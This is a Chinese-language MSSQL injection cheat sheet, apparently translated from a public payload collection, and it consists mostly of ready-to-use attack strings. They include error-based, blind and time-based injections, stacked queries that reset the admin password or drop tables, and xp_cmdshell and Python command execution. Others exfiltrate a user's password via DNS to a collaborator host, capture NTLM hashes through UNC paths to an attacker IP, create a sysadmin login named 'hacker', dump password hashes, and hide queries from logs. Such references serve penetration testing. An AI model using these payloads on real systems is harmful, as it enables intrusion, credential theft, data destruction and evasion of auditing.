跳转至

MSSQL 注入 (MSSQL Injection)

MSSQL 注入是一种安全漏洞,当攻击者可以插入或“注入”恶意 SQL 代码到由 Microsoft SQL Server (MSSQL) 数据库执行的查询中时,就会发生这种攻击。这通常发生在用户输入被直接包含在 SQL 查询中而没有经过适当的清洗或参数化处理时。SQL 注入可能导致严重的后果,如未经授权的数据访问、数据操纵,甚至获得对数据库服务器的控制权。

摘要 (Summary)

MSSQL 默认数据库 (MSSQL Default Databases)

数据库名称 描述 (Description)
pubs 在 MSSQL 2005 中不可用
model 所有版本均可用
msdb 所有版本均可用
tempdb 所有版本均可用
northwind 所有版本均可用
information_schema 适用于 MSSQL 2000 及更高版本

MSSQL 注释 (MSSQL Comments)

注释类型 描述 (Description)
/* MSSQL Comment */ C 风格注释
-- SQL 注释
;%00 空字节

MSSQL 枚举 (MSSQL Enumeration)

枚举描述 SQL 查询
DBMS 版本 SELECT @@version
数据库名称 SELECT DB_NAME()
数据库架构 (Schema) SELECT SCHEMA_NAME()
主机名 SELECT HOST_NAME()
主机名 SELECT @@hostname
服务器名称 SELECT @@SERVERNAME
产品版本 SELECT SERVERPROPERTY('productversion')
产品级别 SELECT SERVERPROPERTY('productlevel')
数据库版本名 SELECT SERVERPROPERTY('edition')
当前用户 SELECT CURRENT_USER
当前用户名 SELECT user_name();
系统用户名 SELECT system_user;
登录名 SELECT user;

MSSQL 列出数据库 (MSSQL List Databases)

SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;

-- 对于 N = 0, 1, 2, …
SELECT DB_NAME(N); 

-- 将分隔符(例如 ', ')更改为你想要的任何内容 => master, tempdb, model, msdb 
-- (仅适用于 MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; 

MSSQL 列出表名 (MSSQL List Tables)

-- 使用 xtype = 'V' 以列出视图 (Views)
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <数据库名>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- 列出 master..sometable 的列名及其类型
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<数据库名>'

-- 将分隔符(例如 ', ')更改为你想获得的任何格式 => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (仅适用于 MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

MSSQL 列出列名 (MSSQL List Columns)

-- 仅适用于当前数据库
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

-- 列出 master..sometable 的列名及其类型
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 

SELECT table_catalog, column_name FROM information_schema.columns

SELECT COL_NAME(OBJECT_ID('<数据库名>.<表名>'), <索引>)

基于 UNION 的 MSSQL 注入 (MSSQL Union Based)

  • 提取数据库名称

    $ SELECT name FROM master..sysdatabases
    [*] Injection
    [*] msdb
    [*] tempdb
    
  • Injection 数据库中提取表名

    $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
    [*] Profiles
    [*] Roles
    [*] Users
    
  • 提取 Users 表的列名

    $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
    [*] UserId
    [*] UserName
    
  • 最后提取数据内容

    SELECT UserId, UserName from Users
    

基于报错的 MSSQL 注入 (MSSQL Error Based)

报错载荷名 攻击载荷 (Payload)
CONVERT AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
IN AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
EQUAL AND 1337=CONCAT('~',(SELECT @@version),'~') -- -
CAST CAST((SELECT @@version) AS INT)
  • 针对整数输入点:

    convert(int,@@version)
    cast((SELECT @@version) as int)
    
  • 针对字符串输入点:

    ' + convert(int,@@version) + '
    ' + cast((SELECT @@version) as int) + '
    

基于盲注的 MSSQL 注入 (MSSQL Blind Based)

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL 盲注下的 Substring 等价函数 (MSSQL Blind With Substring Equivalent)

函数名 语法示例
SUBSTRING SUBSTRING('foobar', <起始位置>, <长度>)

示例:

AND ASCII(SUBSTRING((SELECT TOP 1 username FROM tblusers),1,1))=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_name='Users') > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0))) AS varchar(8000)),1,1)),0)>90

基于时间的 MSSQL 注入 (MSSQL Time Based)

在基于时间的盲注攻击中,攻击者注入使用 WAITFOR DELAY 的载荷使数据库暂停一段时间。攻击者通过观察响应时间来推断注入的载荷是否成功执行。

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
IF([推理条件]) WAITFOR DELAY '0:0:[睡眠时间]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL 堆叠查询 (MSSQL Stacked Query)

  • 不带任何语句终止符的堆叠查询

    -- 多条 SELECT 语句
    SELECT 'A' SELECT 'B' SELECT 'C'
    
    -- 通过堆叠查询更新密码
    SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--
    
    -- 使用堆叠查询启用 xp_cmdshell
    -- 注意:你将无法直接看到查询输出,请将其重定向到文件 
    SELECT id, username, password FROM users WHERE username = 'admin' exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
    
  • 使用分号 ";" 添加另一个查询

    ProductID=1; DROP members--
    

MSSQL 文件操作 (MSSQL File Manipulation)

MSSQL 读取文件 (MSSQL Read File)

权限要求BULK 选项需要 ADMINISTER BULK OPERATIONSADMINISTER DATABASE BULK OPERATIONS 权限。

OPENROWSET(BULK 'C:\路径\到\文件', SINGLE_CLOB)

示例:

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL 写入文件 (MSSQL Write File)

execute spWriteStringToFile '文件内容', 'C:\路径\到\', '文件名'

MSSQL 命令执行 (MSSQL Command Execution)

XP_CMDSHELL

xp_cmdshell 是 Microsoft SQL Server 中的一个系统存储过程,允许你直接从 T-SQL (Transact-SQL) 内部运行操作系统命令。

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

如果你需要重新启用 xp_cmdshell(在 SQL Server 2005 及更高版本中默认禁用):

-- 启用高级选项
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;

-- 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Python 脚本 (Python Script)

由不同于使用 xp_cmdshell 执行命令的用户来执行

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

MSSQL 带外注入 (MSSQL Out of Band)

MSSQL DNS 数据外带 (MSSQL DNS exfiltration)

来自 @ptswarm 的技术:

  • 权限要求:需要在服务器上具有 VIEW SERVER STATE 权限。

    1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
    
  • 权限要求:需要 CONTROL SERVER 权限。

    1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
    1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
    

MSSQL UNC 路径 (MSSQL UNC Path)

MSSQL 支持堆叠查询,因此我们可以创建一个指向我们 IP 地址的变量,然后使用 xp_dirtree 函数列出 SMB 共享中的文件,从而抓取 NTLMv2 哈希。

1'; use master; exec xp_dirtree '\\10.10.15.XX\共享名称';-- 
xp_dirtree '\\攻击者IP\文件'
xp_fileexist '\\攻击者IP\文件'
BACKUP LOG [测试库] TO DISK = '\\攻击者IP\文件'
BACKUP DATABASE [测试库] TO DISK = '\\攻击者IP\文件'
RESTORE LOG [测试库] FROM DISK = '\\攻击者IP\文件'
RESTORE DATABASE [测试库] FROM DISK = '\\攻击者IP\文件'
RESTORE HEADERONLY FROM DISK = '\\攻击者IP\文件'
RESTORE FILELISTONLY FROM DISK = '\\攻击者IP\文件'
RESTORE LABELONLY FROM DISK = '\\攻击者IP\文件'
RESTORE REWINDONLY FROM DISK = '\\攻击者IP\文件'
RESTORE VERIFYONLY FROM DISK = '\\攻击者IP\文件'

Microsoft SQL Server 中的受信链接 (Trusted Link) 是一种链接服务器关系,允许一个 SQL Server 实例在另一个服务器(或外部 OLE DB 数据源)上执行查询甚至远程存储过程,就像远程服务器是本地环境的一部分一样。链接服务器公开了一些选项,用于控制是否允许远程存储过程和 RPC 调用以及在远程服务器上使用何种安全上下文。

数据库之间的链接甚至跨森林信任 (Forest Trusts) 也可以工作。

  • 使用 sysservers 查找链接:包含 SQL Server 实例可以作为 OLE DB 数据源访问的每个服务器的一行信息。

    select * from master..sysservers
    
  • 通过链接执行查询

    select * from openquery("dcorp-sql1", 'select * from master..sysservers')
    select version from openquery("linkedserver", 'select @@version as version')
    
    -- 链式调用多个 openquery
    select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
    
  • 执行 Shell 命令

    -- 启用 xp_cmdshell 并执行 "dir" 命令
    EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
    select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
    
    -- 创建 SQL 用户并授予 sysadmin 权限
    EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
    EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
    

MSSQL 权限 (MSSQL Privileges)

MSSQL 列出权限 (MSSQL List Permissions)

  • 列出当前用户在服务器上的有效权限。

    SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
    
  • 列出当前用户在数据库上的有效权限。

    SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
    
  • 列出当前用户在某一视图上的有效权限。

    SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 
    
  • 检查当前用户是否为指定服务器角色的成员。

    -- 可能的角色有:sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
    SELECT is_srvrolemember('sysadmin');
    

MSSQL 使普通用户成为 DBA (MSSQL Make User DBA)

EXEC master.dbo.sp_addsrvrolemember '用户名', 'sysadmin';

MSSQL 数据库凭据 (MSSQL Database Credentials)

  • MSSQL 2000: Hashcat 模式 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578

    SELECT name, password FROM master..sysxlogins
    SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
    -- 在 MSSQL 错误消息/某些版本的查询分析器中,需要转换为十六进制才能返回哈希值
    
  • MSSQL 2005: Hashcat 模式 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe

    SELECT name, password_hash FROM master.sys.sql_logins
    SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
    

MSSQL 隐蔽操作建议 (MSSQL OPSEC)

在查询中使用 SP_PASSWORD 以从日志中隐藏,例如:' AND 1=1--sp_password

-- 在此事件的正文中发现 'sp_password'。
-- 出于安全原因,正文已替换为此注释。

参考资料 (References)